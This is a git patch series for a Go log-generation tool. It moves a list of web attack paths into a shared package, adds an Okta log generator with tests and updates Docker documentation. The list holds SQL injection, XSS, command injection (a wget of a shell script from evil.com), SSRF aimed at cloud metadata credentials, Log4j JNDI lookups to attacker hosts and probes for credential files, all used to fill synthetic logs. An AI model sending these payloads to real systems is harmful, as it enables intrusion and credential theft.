"/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", - "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", - "/api/v1/accounts?name='+OR+1=1--", - - // XSS attempts - "/search?q=", - "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", - "/profile?name=", - "/api/v1/feedback?msg=", - - // Command injection - "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", - "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", - "/cgi-bin/test.cgi?cmd=ls%20-la", - "/api/v1/convert?url=http://evil.com/$(whoami)", - - // Scanner and reconnaissance - "/admin", - "/admin/login", - "/wp-admin/", - "/wp-login.php", - "/phpmyadmin/", - "/phpMyAdmin/", - "/.env", - "/.git/config", - "/.git/HEAD", - "/config.php", - "/web.config", - "/nginx_status", - "/server-status", - "/.aws/credentials", - "/.ssh/id_rsa", - "/backup.sql", - "/dump.sql", - "/api/swagger.json", - "/actuator/env", - "/actuator/health", - "/debug/pprof/", - "/graphql", - "/metrics", - "/trace", - - // Authentication bypass attempts - "/api/v1/admin?admin=true", - "/api/v1/users?role=admin", - "/api/internal/debug", - "/api/v1/auth/bypass", - - // SSRF attempts - "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", - "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/", - "/api/v1/proxy?target=http://localhost:6379/", - "/api/v1/webhook?callback=http://internal-service:8080/admin", - "/api/v1/image?src=file:///etc/passwd", - "/api/v1/redirect?url=http://metadata.google.internal/computeMetadata/v1/", - - // Log4j/JNDI injection - "/api/v1/search?q=${jndi:ldap://evil.com/a}", - "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", - "/${jndi:ldap://x.x.x.x/exploit}", - - // Shellshock - "/cgi-bin/test.sh", - "/cgi-bin/status", - "/cgi-bin/bash", - - // Prototype pollution - "/api/v1/settings?__proto__[admin]=true", - "/api/v1/config?constructor[prototype][isAdmin]=true", - - // WebSocket hijacking probe - "/ws/admin", - "/socket.io/?transport=polling", - } - httpProtocols = []string{"HTTP/1.0", "HTTP/1.1", "HTTP/2.0"} statusCodes2xx = []int{200, 201, 204} @@ -426,7 +338,7 @@ func generateRequest(r *rand.Rand) string { // 20% chance of generating a security-focused path var path string if r.Float64() < 0.20 { // #nosec G404 - path = attackPaths[r.Intn(len(attackPaths))] // #nosec G404 + path = security.RandomAttackPath(r) } else { path = httpPaths[r.Intn(len(httpPaths))] // #nosec G404 } diff --git a/generator/okta/okta.go b/generator/okta/okta.go index 1a8184c..d0e879a 100644 --- a/generator/okta/okta.go +++ b/generator/okta/okta.go @@ -277,6 +277,8 @@ func (g *Generator) Stop(ctx context.Context) error { func (g *Generator) worker(workerID int, writer output.Writer) { defer g.wg.Done() + r := rand.New(rand.NewSource(time.Now().UnixNano() + int64(workerID))) // #nosec G404 + g.oktaActiveWorkers.Record(context.Background(), 1, metric.WithAttributeSet( attribute.NewSet( @@ -308,7 +310,7 @@ func (g *Generator) worker(workerID int, writer output.Writer) { g.logger.Debug("Worker stopping", zap.Int("worker_id", workerID)) return case <-backoffTicker.C: - err := g.generateAndWriteLog(writer, workerID) + err := g.generateAndWriteLog(r, writer, workerID) if err != nil { g.logger.Error("Failed to write log", zap.Int("worker_id", workerID), @@ -320,8 +322,8 @@ func (g *Generator) worker(workerID int, writer output.Writer) { } } -func (g *Generator) generateAndWriteLog(writer output.Writer, workerID int) error { - logRecord, err := g.generateOktaLog() +func (g *Generator) generateAndWriteLog(r *rand.Rand, writer output.Writer, workerID int) error { + logRecord, err := g.generateOktaLog(r) if err != nil { g.recordWriteError(errorTypeUnknown, err) return fmt.Errorf("generate Okta log: %w", err) @@ -350,9 +352,7 @@ func (g *Generator) generateAndWriteLog(writer output.Writer, workerID int) erro return nil } -func (g *Generator) generateOktaLog() (output.LogRecord, error) { - r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404 - +func (g *Generator) generateOktaLog(r *rand.Rand) (output.LogRecord, error) { now := time.Now().UTC() event := eventTypes[r.Intn(len(eventTypes))] // #nosec G404 actor := actors[r.Intn(len(actors))] // #nosec G404 @@ -373,9 +373,7 @@ func (g *Generator) generateOktaLog() (output.LogRecord, error) { "eventType": event.eventType, "version": "0", "severity": event.severity, - "displayMessage": map[string]any{ - "message": event.displayMsg, - }, + "displayMessage": event.displayMsg, "actor": map[string]any{ "id": actorID, "type": actor.userType, diff --git a/generator/okta/okta_test.go b/generator/okta/okta_test.go new file mode 100644 index 0000000..99e4dde --- /dev/null +++ b/generator/okta/okta_test.go @@ -0,0 +1,349 @@ +package okta + +import ( + "context" + "encoding/json" + "errors" + "math/rand" + "sync" + "testing" + "time" + + "github.com/observiq/blitz/output" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap/zaptest" +) + +// mockWriter implements output.Writer for testing +type mockWriter struct { + mu sync.Mutex + writes [][]byte + errors []error + writeErr error +} + +func newMockWriter() *mockWriter { + return &mockWriter{ + writes: make([][]byte, 0), + errors: make([]error, 0), + } +} + +func (m *mockWriter) Write(ctx context.Context, data output.LogRecord) error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.writeErr != nil { + err := m.writeErr + m.errors = append(m.errors, err) + return err + } + + m.writes = append(m.writes, append([]byte(nil), data.Message...)) + return nil +} + +func (m *mockWriter) getWrites() [][]byte { + m.mu.Lock() + defer m.mu.Unlock() + return append([][]byte(nil), m.writes...) +} + +func (m *mockWriter) getErrors() []error { + m.mu.Lock() + defer m.mu.Unlock() + return append([]error(nil), m.errors...) +} + +func (m *mockWriter) setWriteError(err error) { + m.mu.Lock() + defer m.mu.Unlock() + m.writeErr = err +} + +func TestNew(t *testing.T) { + logger := zaptest.NewLogger(t) + workers := 5 + rate := 100 * time.Millisecond + + generator, err := New(logger, workers, rate) + + assert.NoError(t, err) + assert.NotNil(t, generator) + assert.Equal(t, logger, generator.logger) + assert.Equal(t, workers, generator.workers) + assert.Equal(t, rate, generator.rate) + assert.NotNil(t, generator.stopCh) +} + +func TestNew_NilLogger(t *testing.T) { + generator, err := New(nil, 5, 100*time.Millisecond) + + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "logger cannot be nil") +} + +func TestNew_InvalidWorkers(t *testing.T) { + logger := zaptest.NewLogger(t) + + generator, err := New(logger, 0, 100*time.Millisecond) + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "workers must be 1 or greater") + + generator, err = New(logger, -1, 100*time.Millisecond) + assert.Error(t, err) + assert.Nil(t, generator) + assert.Contains(t, err.Error(), "workers must be 1 or greater") +} + +func TestOktaGenerator_Start(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 2, 50*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + assert.NoError(t, err) + + // Wait for some logs to be generated + time.Sleep(200 * time.Millisecond) + + // Stop the generator + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + // Verify logs were written + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected some logs to be written") + + // Verify log structure - each log should be valid JSON with Okta fields + for _, write := range writes { + var log map[string]any + err := json.Unmarshal(write, &log) + assert.NoError(t, err, "Log should be valid JSON") + + // Verify required Okta System Log fields + assert.Contains(t, log, "uuid", "Should have uuid field") + assert.Contains(t, log, "published", "Should have published field") + assert.Contains(t, log, "eventType", "Should have eventType field") + assert.Contains(t, log, "severity", "Should have severity field") + assert.Contains(t, log, "displayMessage", "Should have displayMessage field") + assert.Contains(t, log, "actor", "Should have actor field") + assert.Contains(t, log, "client", "Should have client field") + assert.Contains(t, log, "outcome", "Should have outcome field") + assert.Contains(t, log, "target", "Should have target field") + + // Verify displayMessage is a string (not a nested object) + _, ok := log["displayMessage"].(string) + assert.True(t, ok, "displayMessage should be a string") + } +} + +func TestOktaGenerator_Stop_GracefulShutdown(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 3, 10*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(50 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + + start := time.Now() + err = generator.Stop(ctx) + duration := time.Since(start) + + assert.NoError(t, err) + assert.Less(t, duration, 500*time.Millisecond, "Stop should complete quickly") + + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected some logs to be written before stopping") +} + +func TestOktaGenerator_WriteErrors_Backoff(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + writer.setWriteError(errors.New("write failed")) + generator, err := New(logger, 1, 10*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + errs := writer.getErrors() + assert.Greater(t, len(errs), 0, "Expected some write errors") +} + +func TestOktaGenerator_ConcurrentWorkers(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 5, 20*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + writes := writer.getWrites() + assert.Greater(t, len(writes), 10, "Expected many logs from multiple workers") +} + +func TestOktaGenerator_EventTypeVariety(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + generator, err := New(logger, 1, 5*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + require.NoError(t, err) + + time.Sleep(200 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + err = generator.Stop(ctx) + assert.NoError(t, err) + + writes := writer.getWrites() + assert.Greater(t, len(writes), 10, "Expected many logs") + + eventTypeSet := make(map[string]int) + severitySet := make(map[string]int) + + for _, write := range writes { + var log map[string]any + err := json.Unmarshal(write, &log) + require.NoError(t, err) + + if et, ok := log["eventType"].(string); ok { + eventTypeSet[et]++ + } + if sev, ok := log["severity"].(string); ok { + severitySet[sev]++ + } + } + + assert.Greater(t, len(eventTypeSet), 1, "Expected variety in event types") + assert.Greater(t, len(severitySet), 1, "Expected variety in severity levels") +} + +func TestOktaGenerator_FailureOutcomeHasReason(t *testing.T) { + logger := zaptest.NewLogger(t) + r := rand.New(rand.NewSource(42)) // #nosec G404 + + generator, err := New(logger, 1, time.Second) + require.NoError(t, err) + + // Generate enough logs to get some failures + for i := 0; i < 200; i++ { + logRecord, err := generator.generateOktaLog(r) + require.NoError(t, err) + + var log map[string]any + err = json.Unmarshal([]byte(logRecord.Message), &log) + require.NoError(t, err) + + outcome, ok := log["outcome"].(map[string]any) + require.True(t, ok) + + result, ok := outcome["result"].(string) + require.True(t, ok) + + if result == "FAILURE" { + _, hasReason := outcome["reason"] + assert.True(t, hasReason, "FAILURE outcomes should have a reason field") + } + } +} + +func TestOktaGenerator_MultipleStartStop(t *testing.T) { + logger := zaptest.NewLogger(t) + writer := newMockWriter() + + for i := 0; i < 3; i++ { + generator, err := New(logger, 2, 20*time.Millisecond) + require.NoError(t, err) + + err = generator.Start(writer) + assert.NoError(t, err) + + time.Sleep(50 * time.Millisecond) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + err = generator.Stop(ctx) + cancel() + assert.NoError(t, err) + } + + writes := writer.getWrites() + assert.Greater(t, len(writes), 0, "Expected logs from multiple start/stop cycles") +} + +func TestGenerateUUID(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + uuid := generateUUID(r) + assert.NotEmpty(t, uuid) + + // UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx + parts := make([]string, 0) + for _, p := range splitUUID(uuid) { + parts = append(parts, p) + } + assert.Len(t, parts, 5, "UUID should have 5 dash-separated parts") +} + +func splitUUID(uuid string) []string { + var parts []string + current := "" + for _, c := range uuid { + if c == '-' { + parts = append(parts, current) + current = "" + } else { + current += string(c) + } + } + if current != "" { + parts = append(parts, current) + } + return parts +} + +func TestGenerateRandomIP(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + ip := generateRandomIP(r) + assert.NotEmpty(t, ip) + assert.Regexp(t, `^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$`, ip) +} + +func TestGenerateRequestID(t *testing.T) { + r := rand.New(rand.NewSource(42)) // #nosec G404 + + id := generateRequestID(r) + assert.Len(t, id, 20) + assert.Regexp(t, `^[A-Za-z0-9]+$`, id) +} diff --git a/internal/generator/logtypes/pii.go b/internal/generator/logtypes/pii.go index 8a93d25..187554a 100644 --- a/internal/generator/logtypes/pii.go +++ b/internal/generator/logtypes/pii.go @@ -346,7 +346,7 @@ func generatePasswordHash(r *rand.Rand) string { // generateAPIKey generates a random API key func generateAPIKey(r *rand.Rand) string { - prefixes := []string{"apikey_", "token_", "key_", "api_", "access_key_"} + prefixes := []string{"apikey_", "secret_", "token_", "key_", "access_key_"} prefix := prefixes[r.Intn(len(prefixes))] chars := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" key := prefix diff --git a/internal/generator/security/paths.go b/internal/generator/security/paths.go new file mode 100644 index 0000000..81f0e92 --- /dev/null +++ b/internal/generator/security/paths.go @@ -0,0 +1,99 @@ +package security + +import "math/rand" + +// AttackPaths contains common HTTP attack patterns used across web server log generators. +var AttackPaths = []string{ + // Directory traversal attacks + "/../../etc/passwd", + "/..%2f..%2f..%2fetc/passwd", + "/....//....//....//etc/shadow", + "/api/v1/files?path=../../../etc/passwd", + "/download?file=....//....//....//etc/hosts", + "/static/..%252f..%252f..%252fetc/passwd", + + // SQL injection attempts + "/api/v1/users?id=1'%20OR%20'1'='1", + "/api/v1/search?q=';DROP%20TABLE%20users;--", + "/api/v1/login?user=admin'--&pass=x", + "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", + "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", + "/api/v1/accounts?name='+OR+1=1--", + + // XSS attempts + "/search?q=", + "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", + "/profile?name=", + "/api/v1/feedback?msg=", + + // Command injection + "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", + "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", + "/cgi-bin/test.cgi?cmd=ls%20-la", + "/api/v1/convert?url=http://evil.com/$(whoami)", + + // Scanner and reconnaissance + "/admin", + "/admin/login", + "/wp-admin/", + "/wp-login.php", + "/phpmyadmin/", + "/phpMyAdmin/", + "/.env", + "/.git/config", + "/.git/HEAD", + "/config.php", + "/web.config", + "/server-status", + "/server-info", + "/nginx_status", + "/.aws/credentials", + "/.ssh/id_rsa", + "/backup.sql", + "/dump.sql", + "/database.sql", + "/api/swagger.json", + "/actuator/env", + "/actuator/health", + "/debug/pprof/", + "/graphql", + "/metrics", + "/trace", + + // Authentication bypass attempts + "/api/v1/admin?admin=true", + "/api/v1/users?role=admin", + "/api/internal/debug", + "/api/v1/auth/bypass", + + // SSRF attempts + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "/api/v1/proxy?target=http://localhost:6379/", + "/api/v1/webhook?callback=http://internal-service:8080/admin", + "/api/v1/image?src=file:///etc/passwd", + "/api/v1/redirect?url=http://metadata.google.internal/computeMetadata/v1/", + + // Log4j/JNDI injection + "/api/v1/search?q=${jndi:ldap://evil.com/a}", + "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", + "/${jndi:ldap://x.x.x.x/exploit}", + + // Shellshock + "/cgi-bin/test.sh", + "/cgi-bin/status", + "/cgi-bin/bash", + + // Prototype pollution + "/api/v1/settings?__proto__[admin]=true", + "/api/v1/config?constructor[prototype][isAdmin]=true", + + // WebSocket hijacking probe + "/ws/admin", + "/socket.io/?transport=polling", +} + +// RandomAttackPath returns a random attack path from the shared list. +func RandomAttackPath(r *rand.Rand) string { + return AttackPaths[r.Intn(len(AttackPaths))] // #nosec G404 +} From dccce9090440c7077752b708c4f01169889e827d Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Thu, 12 Feb 2026 12:58:23 -0500 Subject: [PATCH 5/6] chore: Regenerate bash completions for okta generator flags Co-Authored-By: Claude Opus 4.6 --- package/completions/blitz.bash | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/package/completions/blitz.bash b/package/completions/blitz.bash index 6827eb4..c329380 100644 --- a/package/completions/blitz.bash +++ b/package/completions/blitz.bash @@ -417,6 +417,10 @@ _blitz_help() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=") @@ -620,6 +624,10 @@ _blitz_version() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=") @@ -824,6 +832,10 @@ _blitz_root_command() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=") From e2e1b0df2ed711f886078d1d6de2d5e02a8f4180 Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Thu, 12 Feb 2026 13:08:49 -0500 Subject: [PATCH 6/6] Revert vendor-agnostic naming changes in Docker files Restore original Bindplane references in docker-compose and README to keep the diff focused on actual feature additions (Okta generator, collector volume, PII worker defaults, security descriptions). Co-Authored-By: Claude Opus 4.6 --- docker/README.md | 24 +++++++++---------- docker/docker-compose.telemetry-generator.yml | 13 +++++----- 2 files changed, 19 insertions(+), 18 deletions(-) diff --git a/docker/README.md b/docker/README.md index 96e9fac..30a40c7 100644 --- a/docker/README.md +++ b/docker/README.md @@ -1,6 +1,6 @@ # Telemetry Generator -A Docker Compose setup that runs all Blitz log generators simultaneously and sends telemetry to an OpAMP-managed collector via OTLP. +A Docker Compose setup that runs all Blitz log generators simultaneously and sends telemetry to Bindplane via a Bindplane Agent. ## Architecture @@ -14,8 +14,8 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen ├─────────────────┤ │ │ blitz-palo-alto │──┤ ├─────────────────┤ │ ┌──────────────────┐ ┌─────────────────┐ -│ blitz-apache-* │──┼───►│ BDOT Collector │───►│ OpAMP Server │ -├─────────────────┤ │ │ (OTLP receiver) │ │ │ +│ blitz-apache-* │──┼───►│ BDOT Collector │───►│ Bindplane │ +├─────────────────┤ │ │ (OTLP receiver) │ │ (OpAMP) │ │ blitz-nginx │──┤ └──────────────────┘ └─────────────────┘ ├─────────────────┤ │ │ blitz-postgres │──┤ @@ -29,14 +29,14 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen ## Prerequisites - Docker and Docker Compose -- An OpAMP-compatible management platform (e.g., Bindplane) -- OpAMP endpoint and secret key +- Bindplane instance with OpAMP enabled +- Bindplane secret key ## Quick Start ```bash # From the blitz repo root directory -OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ docker compose -f docker/docker-compose.telemetry-generator.yml up ``` @@ -47,8 +47,8 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up | Variable | Description | Example | |----------|-------------|---------| -| `OPAMP_ENDPOINT` | OpAMP WebSocket endpoint | `wss://your-opamp-server.com/v1/opamp` | -| `OPAMP_SECRET_KEY` | OpAMP secret key for authentication | `your-secret-key` | +| `OPAMP_ENDPOINT` | Bindplane OpAMP WebSocket endpoint | `wss://app.bindplane.com/v1/opamp` | +| `OPAMP_SECRET_KEY` | Bindplane secret key for authentication | `your-secret-key` | ### Optional Environment Variables @@ -62,7 +62,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up **Increase log generation rate:** ```bash -OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ BLITZ_RATE=100ms \ docker compose -f docker/docker-compose.telemetry-generator.yml up @@ -70,7 +70,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up **Run with more workers:** ```bash -OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ BLITZ_WORKERS=3 \ docker compose -f docker/docker-compose.telemetry-generator.yml up @@ -78,7 +78,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up **Run in background:** ```bash -OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ docker compose -f docker/docker-compose.telemetry-generator.yml up -d ``` @@ -104,7 +104,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up -d To run only specific generators: ```bash -OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ docker compose -f docker/docker-compose.telemetry-generator.yml up bdot-collector blitz-json blitz-nginx ``` diff --git a/docker/docker-compose.telemetry-generator.yml b/docker/docker-compose.telemetry-generator.yml index a0d655c..329a741 100644 --- a/docker/docker-compose.telemetry-generator.yml +++ b/docker/docker-compose.telemetry-generator.yml @@ -1,15 +1,16 @@ # Telemetry Generator - Docker Compose Configuration # -# Runs all Blitz generators and sends telemetry to an OpAMP-managed collector. +# Runs all blitz generators and sends telemetry to a BDOT collector, +# which connects to Bindplane via OpAMP. # # Usage (from blitz repo root): -# OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +# OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ # OPAMP_SECRET_KEY=your-secret-key \ # docker compose -f docker/docker-compose.telemetry-generator.yml up # # Required environment variables: -# - OPAMP_ENDPOINT: OpAMP WebSocket endpoint -# - OPAMP_SECRET_KEY: OpAMP secret key for authentication +# - OPAMP_ENDPOINT: Bindplane OpAMP endpoint (e.g., wss://yellow.stage.bindplane.com/v1/opamp) +# - OPAMP_SECRET_KEY: Bindplane secret key for authentication # # Optional environment variables: # - BLITZ_RATE: Log generation rate (default: 1s) @@ -30,11 +31,11 @@ x-blitz-common: &blitz-common - telemetry-net services: - # Collector - receives OTLP from Blitz instances, connects to management platform via OpAMP + # BDOT Collector - receives OTLP from blitz instances, connects to Bindplane via OpAMP bdot-collector: image: observiq/bindplane-agent:latest restart: unless-stopped - user: "0" + user: "0" # Run as root to allow writing to /etc/otel environment: OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required}